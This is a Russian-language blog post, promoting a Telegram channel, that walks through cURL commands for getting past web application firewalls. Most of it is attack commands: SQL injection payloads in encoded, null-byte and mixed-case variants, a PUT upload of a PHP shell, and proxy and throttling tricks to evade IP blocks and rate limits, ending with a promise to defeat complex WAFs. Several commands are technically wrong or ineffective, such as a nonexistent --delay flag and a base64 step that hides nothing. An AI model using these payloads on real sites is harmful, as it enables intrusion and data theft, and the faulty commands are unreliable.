May 5

cURL для обхода WAF: продвинутые приемы и команды

Подписывайтесь на телеграм-канал usr_bin, где я публикую много полезного по Linux, в том числе ссылки на статьи в этом блоге.

Брандмауэры для веб-приложений (WAF) предназначены для от распространенных веб-атак, таких как SQL-инъекция, межсайтовый скриптинг (XSS) и DDoS-атаки. Однако, существуют методы обхода WAF с помощью различных инструментов, и одним из самых мощных инструментов в наборе хакеров является cURL.

В этой статье рассмотрим, как cURL можно использовать для тестирования и обхода WAF путем изменения HTTP-запросов, заголовков и пользовательских данных.

Что такое cURL?

cURL(клиентский URL) — это утилита командной строки, используемая для передачи данных на сервер или с него, поддерживающая протоколы HTTP, HTTPS, FTP и другие. Она легкая, мощная и идеально подходит для создания пользовательских запросов для проверки того, как веб-приложения реагируют на различные нагрузки.

Понимание обходов WAF

Прежде чем углубляться в команды, важно понять, как работают WAF. WAF анализируют HTTP-запросы, фильтруют вредоносные данные и блокируют вредоносные шаблоны. Однако, плохие дядьки часто обходят WAF, используя:

  • Обфускация полезных данных.
  • Манипуляции с заголовками для обмана WAF.
  • Кодирование для обхода обнаружения подписи.
  • Обход ограничения скорости .
  • Обход путем изменения ключевых элементов HTTP-запроса, таких как параметры URL или типы методов.
Примеры синтаксиса

Обход WAF с помощью cURL: продвинутые методы

1. Использование пользовательских HTTP-заголовков для обхода фильтров

WAF часто проверяют определенные заголовки HTTP, такие как User-Agentи Referer. Изменение этих заголовков может обойти правила.

curl -X POST https://target.com/login -d "username=admin&password=admin123" \
  -H "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36" \
  -H "Referer: https://trusted-site.com"

2. Сокрытие полезных данных с помощью URL-кодирования

Иногда WAF блокируют SQL-инъекции, ища определенные ключевые слова. Части URL-кодирования пользовательских данных могут обходить такие фильтры.

curl "https://target.com/search?q=admin' OR ​​1=1--"

Закодировано с помощью кодирования URL:

curl "https://target.com/search?q=admin%27%20OR%201%3D1--"

Путем URL-кодирования пользовательских данных SQL-инъекции ( ' OR 1=1--становится %27%20OR%201%3D1--) мы можем обойти проверку WAF.

3. Использование альтернативных методов HTTP

WAF часто настраиваются только на анализ запросов GET и POST, но использование таких методов PUT, как PATCH, или даже OPTIONS иногда может обойти правила WAF.

curl -X PUT https://target.com/admin/upload \ -d   " file=@shell.php"

Загружая файл с помощью PUTметода, можно обойти блокировку WAF обычных методов POST или GET.

4. Внедрение нулевых байтов для взлома фильтров

Внедрение нулевого байта ( %00) может помочь обойти плохо настроенные WAF путем разделения пользовательских данных и обхода сопоставления с образцом.

curl "https://target.com/search?q=admin%00' OR ​​1=1--"

Нулевой байт ( %00) часто завершает синтаксический анализ строки в плохо написанных приложениях или фильтрах, позволяя остальной части SQL-инъекции пройти дальше.

5. Использование cURL для использования чувствительности к регистру в фильтрах

Многие WAF чувствительны к регистру при анализе вредоносных шаблонов, и изменение регистра пользовательских данных может позволить обойти защиту.

curl "https://target.com/search?q=AdMiN' OR ​​1=1--"

В данном случае изменение регистра слова «admin» может обмануть некоторые WAF, которые проверяют только строчные символы.

6. Обход ограничения скорости и IP-блокировок с помощью прокси-серверов

WAF часто ограничивают частоту запросов или блокируют IP-адреса после обнаружения слишком большого количества запросов. Функция прокси-сервера cURL позволяет обойти такие ограничения путем ротации вашего IP-адреса.

curl -x http://proxy.example.com:8080 https://target.com/login \
 -d "username=admin&password=admin123"

Использование прокси-серверов помогает обойти ограничение скорости и блокировки по IP-адресу.

7. Расширенные методы cURL с пользовательским кодированием

Кодирование пользовательских данных может также помочь обойти обнаружение WAF. Например, кодирование Base64 является популярным методом обхода фильтров.

encoded_payload=$(echo -n "admin' OR 1=1--" | base64)
curl -X POST https://target.com/login \
 -d "username=$(echo $encoded_payload | base64 -d)&password=admin123"

Здесь мы кодируем, а затем декодируем пользовательские данные в режиме реального времени, чтобы избежать обнаружения.

8. Тайм-аут и задержка для обхода защиты от переполнения WAF

WAF могут ограничивать или блокировать запросы, которые приходят слишком быстро. Используйте опции --limit-rateили --delayв cURL, чтобы замедлить запросы.

curl https://target.com/api/endpoint --limit-rate 100k --delay 3

Эта команда отправляет запросы медленно, чтобы избежать срабатывания правил WAF Flood.

Реальное применение: обход WAF в действии

Допустим, вы столкнулись с защитой в виде WAF и вам нужно протестировать уязвимости типа возможности выполнения SQL-инъекции. Большинство WAF блокируют базовые пользовательские данные, например:

curl "https://target.com/search?q=admin' OR ​​1=1--"

Применяя вышеупомянутые методы, такие как обфускация полезной нагрузки, кодирование и использование различных методов HTTP, вы можете постепенно проверить, какой метод работает. Например:

Запутать :

curl "https://target.com/search?q=admin%27%20OR%201%3D1--"

Использовать альтернативный метод HTTP:

curl -X PUT https://target.com/search \
 -d "username=admin' OR 1=1--"

Использовать прокси и ограничение скорости :

curl -x http://proxy.example.com:8080 -X PUT https://target.com/search \
 -d "username=admin%27%20OR%201%3D1--"

Комбинируя эти методы, вы сможете обойти даже сложные конфигурации WAF и достичь своей цели.

На этом все! Спасибо за внимание! Если статья была интересна, подпишитесь на телеграм-канал usr_bin, где будет еще больше полезной информации.